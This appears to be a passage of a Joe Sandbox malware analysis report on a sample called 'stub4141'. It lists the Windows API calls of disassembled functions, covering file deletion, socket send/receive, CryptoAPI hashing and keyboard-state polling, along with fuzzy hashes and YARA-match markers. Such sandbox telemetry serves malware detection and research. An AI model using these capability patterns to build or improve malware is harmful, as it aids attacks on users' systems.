LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041BE6D
wnsprintfW.SHLWAPI ref: 0041BE92
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041BEA2
FindFirstFileW.KERNEL32(00000000,?), ref: 0041BEC0
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041BEDF
lstrcmpW.KERNEL32(?,0043729C), ref: 0041BEFD
lstrcmpW.KERNEL32(?,004372A0), ref: 0041BF13
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041BF38
wnsprintfW.SHLWAPI ref: 0041BF69
RemoveDirectoryW.KERNEL32(?), ref: 0041BF94
GetLastError.KERNEL32 ref: 0041BFA6
LocalFree.KERNEL32(?), ref: 0041BFB8
wnsprintfW.SHLWAPI ref: 0041BFD9
DeleteFileW.KERNEL32(00000000), ref: 0041BFE6
FindNextFileW.KERNEL32(000000FF,?), ref: 0041BFF7
FindClose.KERNEL32(000000FF), ref: 0041C009
GetLastError.KERNEL32 ref: 0041C019
LocalFree.KERNEL32(00000000), ref: 0041C028
LocalFree.KERNEL32(00000000), ref: 0041C032

Strings

%s%s\, xrefs: 0041BF58
%s%s, xrefs: 0041BFCB
%s*.*, xrefs: 0041BE84

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$AllocFileFindFreewnsprintf$ErrorLastObjectSingleWaitlstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID: %s%s$%s%s\$%s*.*
API String ID: 3901725581-784047915
Opcode ID: 20d9e4de5153a9ae675045d0d4b8643535f6b1181bbcfd3afaa16555e1c1d61b
Instruction ID: 60a88424954abc737d643ddc5aa85d8a2c459142162d1865a69989d59ac27b82
Opcode Fuzzy Hash: 20d9e4de5153a9ae675045d0d4b8643535f6b1181bbcfd3afaa16555e1c1d61b
Instruction Fuzzy Hash: 4C516174A04209EFDB28DFA4DD8DBAF7779EF08301F1044A9F60596290D7789985CF68

Function 020FC0A7 Relevance: 30.1, APIs: 20, Instructions: 144memoryfilestringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 020FC0BC
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020FC0D4
wnsprintfW.SHLWAPI ref: 020FC0F9
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020FC109
FindFirstFileW.KERNEL32(00000000,?), ref: 020FC127
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 020FC146
lstrcmpW.KERNEL32(?,0043729C), ref: 020FC164
lstrcmpW.KERNEL32(?,004372A0), ref: 020FC17A
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020FC19F
wnsprintfW.SHLWAPI ref: 020FC1D0
RemoveDirectoryW.KERNEL32(?), ref: 020FC1FB
GetLastError.KERNEL32 ref: 020FC20D
LocalFree.KERNEL32(?), ref: 020FC21F
wnsprintfW.SHLWAPI ref: 020FC240
DeleteFileW.KERNEL32(00000000), ref: 020FC24D
FindNextFileW.KERNEL32(000000FF,?), ref: 020FC25E
FindClose.KERNEL32(000000FF), ref: 020FC270
GetLastError.KERNEL32 ref: 020FC280
LocalFree.KERNEL32(00000000), ref: 020FC28F
LocalFree.KERNEL32(00000000), ref: 020FC299

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$AllocFileFindFreewnsprintf$ErrorLastObjectSingleWaitlstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 3901725581-0
Opcode ID: 20d9e4de5153a9ae675045d0d4b8643535f6b1181bbcfd3afaa16555e1c1d61b
Instruction ID: 1a663f0d179bef335cd68c299a81ac715e94e53f0e5865170486506b20c6ff02
Opcode Fuzzy Hash: 20d9e4de5153a9ae675045d0d4b8643535f6b1181bbcfd3afaa16555e1c1d61b
Instruction Fuzzy Hash: B051AF70A44309ABEBA4EFA4DD8DBAE37B5FF08701F0085A9F70596190C7749944DF64

Function 0041ED80 Relevance: 28.7, APIs: 19, Instructions: 168networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0041EDB8
und_memcpy.LIBCMTD ref: 0041EDDD
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041EDED
wsprintfW.USER32 ref: 0041EE29
GetForegroundWindow.USER32(?), ref: 0041EE42
SetWindowTextW.USER32(00000000), ref: 0041EE49
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 0041EE59
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000001), ref: 0041EE7B
LocalFree.KERNEL32(00000000), ref: 0041EEA3
CloseHandle.KERNEL32(00000000), ref: 0041EEAD
LocalFree.KERNEL32(00000000), ref: 0041EEDA
CloseHandle.KERNEL32(00000000), ref: 0041EEE4
___crtGetLocaleInfoEx.LIBCMTD ref: 0041EF0A
LocalFree.KERNEL32(00000000), ref: 0041EF29
CloseHandle.KERNEL32(00000000), ref: 0041EF33
CloseHandle.KERNEL32(00000000), ref: 0041EF95
LocalFree.KERNEL32(00000000), ref: 0041EF9F

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CloseFreeHandle$EventWindow$AllocCreateEventsForegroundInfoLocaleMultipleSelectTextWait___crtund_memcpywsprintf
String ID:
API String ID: 924265577-0
Opcode ID: b356b67d60da1a3dbeb83af4a93a68b26d253b1fb76fe3ae95e1de1216fe7f50
Instruction ID: 7af11179f5c88c92fa5621aa05fe1d73de8daf8d356c3f3ad6b77ae0d836cafe
Opcode Fuzzy Hash: b356b67d60da1a3dbeb83af4a93a68b26d253b1fb76fe3ae95e1de1216fe7f50
Instruction Fuzzy Hash: 47714FB8900209EFDB14CF95D988BEEBB75BF48304F108559FA15A7380C7789A86CF95

Function 0041EB70 Relevance: 27.2, APIs: 18, Instructions: 162networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0041EBA5
und_memcpy.LIBCMTD ref: 0041EBCA
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041EBDA
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 0041EC09
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 0041EC2A
LocalFree.KERNEL32(00000000), ref: 0041EC47
CloseHandle.KERNEL32(00000000), ref: 0041EC51
LocalFree.KERNEL32(00000000), ref: 0041EC76
CloseHandle.KERNEL32(00000000), ref: 0041EC80
CloseHandle.KERNEL32(00000000), ref: 0041ED68
LocalFree.KERNEL32(00000000), ref: 0041ED72

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 292856acc458c98dec4fb865b8dea101ec3a9aa4dbb30ebf1e1cf4eb16cc7039
Instruction ID: 34351fd14e52d6d5c35bf38c00a022f6dcb1a205e43e02107d6c2c3118430b8c
Opcode Fuzzy Hash: 292856acc458c98dec4fb865b8dea101ec3a9aa4dbb30ebf1e1cf4eb16cc7039
Instruction Fuzzy Hash: DD6171B8900209DFDB14CF95D988BEEBBB5BF48304F108659EA15A7380C7789A85CF94

Function 0041EFB0 Relevance: 25.7, APIs: 17, Instructions: 154networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0041EFE5
und_memcpy.LIBCMTD ref: 0041F00A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041F01A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 0041F049
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 0041F06A
LocalFree.KERNEL32(00000000), ref: 0041F087
CloseHandle.KERNEL32(00000000), ref: 0041F091
LocalFree.KERNEL32(00000000), ref: 0041F0B6
CloseHandle.KERNEL32(00000000), ref: 0041F0C0
CloseHandle.KERNEL32(00000000), ref: 0041F18D
LocalFree.KERNEL32(00000000), ref: 0041F197

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 335770afa6c794542b81d4d993ec3f2f5acd63a64ce100247518616e28e32873
Instruction ID: af6706c0488c21e468de73a00d960e7e81ee806ee03e2071a22c8fb990155ba5
Opcode Fuzzy Hash: 335770afa6c794542b81d4d993ec3f2f5acd63a64ce100247518616e28e32873
Instruction Fuzzy Hash: 24615074900209EFDB14CFA4D989BEE7BB5BF48304F108659E615A7380C7799E8ACF94

Function 020FF217 Relevance: 25.7, APIs: 17, Instructions: 154networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 020FF24C
und_memcpy.LIBCMTD ref: 020FF271
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 020FF281
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 020FF2B0
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 020FF2D1
LocalFree.KERNEL32(00000000), ref: 020FF2EE
CloseHandle.KERNEL32(00000000), ref: 020FF2F8
LocalFree.KERNEL32(00000000), ref: 020FF31D
CloseHandle.KERNEL32(00000000), ref: 020FF327
CloseHandle.KERNEL32(00000000), ref: 020FF3F4
LocalFree.KERNEL32(00000000), ref: 020FF3FE

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 3633524cd95b672de4ef3c0f0bdf695b9b252b3a7bf4dbac36e73854eb1292d2
Instruction ID: 6cb71f410bf8295c646b045ac0c2a175a0aa8e13e442285786f9b2789285bd31
Opcode Fuzzy Hash: 3633524cd95b672de4ef3c0f0bdf695b9b252b3a7bf4dbac36e73854eb1292d2
Instruction Fuzzy Hash: 7F615FB494020AEFDB54CFA4C988BEE7BB5FF48304F108158E715A7690C778AA45DF94

Function 0041B2B0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 119encryptionsynchronizationCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?,?,0040435A,00000000), ref: 0041B2DD
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B2FD
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041B354
CryptHashData.ADVAPI32(00000000,ZC@,00002710,00000000), ref: 0041B37A
CryptHashData.ADVAPI32(00000000,ZC@,00000000,00000000), ref: 0041B3B0
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B3FA
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Strings

ZC@, xrefs: 0041B3A8, 0041B372, 0041B38E, 0041B375, 0041B3AB
ZC@, xrefs: 0041B3CB
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0041B2D2

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$Hash$Context$DataRelease$AcquireCreateDestroyObjectSingleWait
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider$ZC@$ZC@
API String ID: 1452691613-2209031557
Opcode ID: 394c000af96a9c2dc2ebbb5ac5a056dd66074106249f88bd315545c75d49d4e9
Instruction ID: 622dd360351769684e982f5559f7130fa70007ca5eba1729bd921f651af63d8b
Opcode Fuzzy Hash: 394c000af96a9c2dc2ebbb5ac5a056dd66074106249f88bd315545c75d49d4e9
Instruction Fuzzy Hash: 62414074A40209EBDB14CFD4C989BEF77B5FB48304F20855AE901A7290D7789A90DBA9

Function 0041F1B0 Relevance: 22.6, APIs: 15, Instructions: 144networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0041F1E5
und_memcpy.LIBCMTD ref: 0041F20A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041F21A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 0041F249
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000000), ref: 0041F26B
LocalFree.KERNEL32(00000000), ref: 0041F293
CloseHandle.KERNEL32(00000000), ref: 0041F29D
LocalFree.KERNEL32(00000000), ref: 0041F2CA
CloseHandle.KERNEL32(00000000), ref: 0041F2D4
___crtGetLocaleInfoEx.LIBCMTD ref: 0041F2F6
WSAGetLastError.WS2_32 ref: 0041F328
LocalFree.KERNEL32(00000000), ref: 0041F348
CloseHandle.KERNEL32(00000000), ref: 0041F352
CloseHandle.KERNEL32(00000000), ref: 0041F36A
LocalFree.KERNEL32(00000000), ref: 0041F374

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateErrorEventsInfoLastLocaleMultipleSelectWait___crtund_memcpy
String ID:
API String ID: 1311366638-0
Opcode ID: 2263681567437f8d39cd212518249b6c511ad28aadb3a095a38138d9de36aafe
Instruction ID: 2cabafc2c98072d71b713aa96b98318875acaebcff7bba4db63d4e707a721588
Opcode Fuzzy Hash: 2263681567437f8d39cd212518249b6c511ad28aadb3a095a38138d9de36aafe
Instruction Fuzzy Hash: 155172B4D00209EFDB14CF94D989BEE7B74BF48304F108569EA15A7390C7789A8ACF55

Function 0041FCF0 Relevance: 16.7, APIs: 11, Instructions: 247COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Part of subcall function 0041E9F0: recv.WS2_32(00000000,?,000000FF,0041FE3A), ref: 0041EA03

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: InfoLocale___crtrecv
String ID:
API String ID: 818993241-0
Opcode ID: f032a2d5173a993bef13737f992bd4962054ed8c8463f53d42294dae0d569a84
Instruction ID: 805eab2be7289e5863d0985d8cb7a48f8dd0fae99d847c3cf77576c8d1645ff4
Opcode Fuzzy Hash: f032a2d5173a993bef13737f992bd4962054ed8c8463f53d42294dae0d569a84
Instruction Fuzzy Hash: 9BB11174A00218DFDB14CF94E984BEEB7B1FF44308F60811AE905A7396C779A986CF45

Function 00420070 Relevance: 16.7, APIs: 11, Instructions: 239COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041EA10: send.WS2_32(00000000,?,000000FF,004201AC), ref: 0041EA23

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: InfoLocale___crtsend
String ID:
API String ID: 3464212537-0
Opcode ID: 087230df13090ee73ba55e881fbf267d8a16b820acb856abf66a3814854e44fc
Instruction ID: 4aa3780f9081a1c911605f50114c978d6d4ea9b79a0f7ef4c48b6017b2e4babf
Opcode Fuzzy Hash: 087230df13090ee73ba55e881fbf267d8a16b820acb856abf66a3814854e44fc
Instruction Fuzzy Hash: 16B10E74A00218DFDB14CF84E988BAEB7F1FF44308F60815AE905A7386C779A995DF49

Function 021002D7 Relevance: 16.7, APIs: 11, Instructions: 239COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 021002F4

Part of subcall function 020FEC77: send.WS2_32(00000000,?,000000FF,02100413), ref: 020FEC8A

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtsend
String ID:
API String ID: 3464212537-0
Opcode ID: 81c27f57b4c2e45512474ef7113c1aadb3c54edeba536e5193bc33ab8f6f2a7a
Instruction ID: b571b1f8c5238559aba5138bd809d936ccdccf1c5d624b6f995d77313832e8f2
Opcode Fuzzy Hash: 81c27f57b4c2e45512474ef7113c1aadb3c54edeba536e5193bc33ab8f6f2a7a
Instruction Fuzzy Hash: BCB10A70A44209DFDB18CF84D9D4BAEBBB2FF48308F118159E955AB384C7B5A985CF81

Function 00411390 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140threadsleepkeyboardCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041156E
RtlExitUserThread.NTDLL(00000000), ref: 0041157D
GetAsyncKeyState.USER32(0000001B), ref: 00411585
Sleep.KERNEL32(000003E8), ref: 004115D6
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00411612
SetEvent.KERNEL32(00000000), ref: 0041162E
CloseHandle.KERNEL32(00000000), ref: 0041163B

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

RtlExitUserThread.NTDLL(00000000), ref: 00411643

Strings

{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00411606

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: EventExitThreadUser$AsyncCloseHandleObjectOpenSingleSleepStateWaitlstrlen
String ID: {FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 4137407306-3983834461
Opcode ID: 9d4e4fbb737ab9ff3bd840114f5e0efa86cf4c03d6f293f0d9038f135a9238c7
Instruction ID: a085c40ba8449d57a09e4c598d3a8815432f5531f27c675e49dcde40ac9d350c
Opcode Fuzzy Hash: 9d4e4fbb737ab9ff3bd840114f5e0efa86cf4c03d6f293f0d9038f135a9238c7
Instruction Fuzzy Hash: 8D7126B0900328DFDB64CF14DD89BD9B7B1BB48305F1085EAD60A66290DBB85BC9CF59

Function 0041F9D0 Relevance: 12.1, APIs: 8, Instructions: 124memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,?,0041F846,?), ref: 0041FA12
htons.WS2_32(?), ref: 0041FA37
wsprintfA.USER32 ref: 0041FA60

Part of subcall function 0041FC10: WSACreateEvent.WS2_32 ref: 0041FC16
Part of subcall function 0041FC10: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 0041FC33
Part of subcall function 0041FC10: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FC73
Part of subcall function 0041FC10: WSACloseEvent.WS2_32(00000000), ref: 0041FC80

___crtGetLocaleInfoEx.LIBCMTD ref: 0041FAA1

Part of subcall function 0041EA10: send.WS2_32(00000000,?,000000FF,004201AC), ref: 0041EA23

Part of subcall function 0041FB30: WSACreateEvent.WS2_32 ref: 0041FB36
Part of subcall function 0041FB30: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 0041FB53
Part of subcall function 0041FB30: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FB93
Part of subcall function 0041FB30: WSACloseEvent.WS2_32(00000000), ref: 0041FBA0

___crtGetLocaleInfoEx.LIBCMTD ref: 0041FADA

Part of subcall function 0041E9F0: recv.WS2_32(00000000,?,000000FF,0041FE3A), ref: 0041EA03

und_memcpy.LIBCMTD ref: 0041FB0A
LocalFree.KERNEL32(00000000), ref: 0041FB16
LocalFree.KERNEL32(00000000), ref: 0041FB24

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$Local$CloseCreateEventsFreeInfoLocaleMultipleSelectWait___crt$Allochtonsrecvsendund_memcpywsprintf
String ID:
API String ID: 2352516679-0
Opcode ID: a5ea8607b57ee04cc2a4073f9b04c2128764973bd0eba773c2f494475fce4573
Instruction ID: c1f76c5c52ce1f42159bdde852ac3818929155a413ba0edf794f74cfeb2c8c91
Opcode Fuzzy Hash: a5ea8607b57ee04cc2a4073f9b04c2128764973bd0eba773c2f494475fce4573
Instruction Fuzzy Hash: ED414EB5E042099BCB04DF94D891EFFBBB5FF48310F148559EA08AB341D635E985CBA4

Function 0041F890 Relevance: 10.6, APIs: 7, Instructions: 113memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,0041F7DF,?), ref: 0041F8D2
htons.WS2_32(?), ref: 0041F8F7

Part of subcall function 0041FC10: WSACreateEvent.WS2_32 ref: 0041FC16
Part of subcall function 0041FC10: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 0041FC33
Part of subcall function 0041FC10: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FC73
Part of subcall function 0041FC10: WSACloseEvent.WS2_32(00000000), ref: 0041FC80

___crtGetLocaleInfoEx.LIBCMTD ref: 0041F93D

Part of subcall function 0041EA10: send.WS2_32(00000000,?,000000FF,004201AC), ref: 0041EA23

Part of subcall function 0041FB30: WSACreateEvent.WS2_32 ref: 0041FB36
Part of subcall function 0041FB30: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 0041FB53
Part of subcall function 0041FB30: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FB93
Part of subcall function 0041FB30: WSACloseEvent.WS2_32(00000000), ref: 0041FBA0

___crtGetLocaleInfoEx.LIBCMTD ref: 0041F976

Part of subcall function 0041E9F0: recv.WS2_32(00000000,?,000000FF,0041FE3A), ref: 0041EA03

und_memcpy.LIBCMTD ref: 0041F9A6
LocalFree.KERNEL32(00000000), ref: 0041F9B2
LocalFree.KERNEL32(00000000), ref: 0041F9C0

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$Local$CloseCreateEventsFreeInfoLocaleMultipleSelectWait___crt$Allochtonsrecvsendund_memcpy
String ID:
API String ID: 3977134054-0
Opcode ID: 508126ed5ce4ca39a13286d64954cbdcb8747c1d4e9448e25b58e56a79419b4d
Instruction ID: 665dc185a55e1744f5c6f50e306629794ff381a39dd647ed30da06f4cd8cf65c
Opcode Fuzzy Hash: 508126ed5ce4ca39a13286d64954cbdcb8747c1d4e9448e25b58e56a79419b4d
Instruction Fuzzy Hash: 654151B5A10209AFCB04DF94D981EBFB7B5BF48300F20855DE908A7341D635EE85CBA5

Function 020FFAF7 Relevance: 10.6, APIs: 7, Instructions: 113memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,000003F0,?,?,?,?,?,?,?,020FFA46,?), ref: 020FFB39
htons.WS2_32(?), ref: 020FFB5E

Part of subcall function 020FFE77: WSACreateEvent.WS2_32 ref: 020FFE7D
Part of subcall function 020FFE77: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 020FFE9A
Part of subcall function 020FFE77: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 020FFEDA
Part of subcall function 020FFE77: WSACloseEvent.WS2_32(00000000), ref: 020FFEE7

___crtGetLocaleInfoEx.LIBCMTD ref: 020FFBA4

Part of subcall function 020FEC77: send.WS2_32(00000000,?,000000FF,02100413), ref: 020FEC8A

Part of subcall function 020FFD97: WSACreateEvent.WS2_32 ref: 020FFD9D
Part of subcall function 020FFD97: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 020FFDBA
Part of subcall function 020FFD97: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 020FFDFA
Part of subcall function 020FFD97: WSACloseEvent.WS2_32(00000000), ref: 020FFE07

___crtGetLocaleInfoEx.LIBCMTD ref: 020FFBDD

Part of subcall function 020FEC57: recv.WS2_32(00000000,?,000000FF,021000A1), ref: 020FEC6A

und_memcpy.LIBCMTD ref: 020FFC0D
LocalFree.KERNEL32(00000000), ref: 020FFC19
LocalFree.KERNEL32(00000000), ref: 020FFC27

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Event$Local$CloseCreateEventsFreeInfoLocaleMultipleSelectWait___crt$Allochtonsrecvsendund_memcpy
String ID:
API String ID: 3977134054-0
Opcode ID: 508126ed5ce4ca39a13286d64954cbdcb8747c1d4e9448e25b58e56a79419b4d
Instruction ID: 4bbceb971e609c520b2931be262819e4cfcbf91905cbc27e8ad246239d7c1726
Opcode Fuzzy Hash: 508126ed5ce4ca39a13286d64954cbdcb8747c1d4e9448e25b58e56a79419b4d
Instruction Fuzzy Hash: 184172B5E00219AFCB44DF94D980EBEB7B5FF48300F248548EA04A7781D735EA41DBA1

